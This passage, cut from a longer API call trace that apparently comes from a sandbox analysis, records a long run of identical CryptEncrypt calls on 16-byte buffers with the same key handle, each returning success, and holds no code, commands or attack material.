pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.849] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.850] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 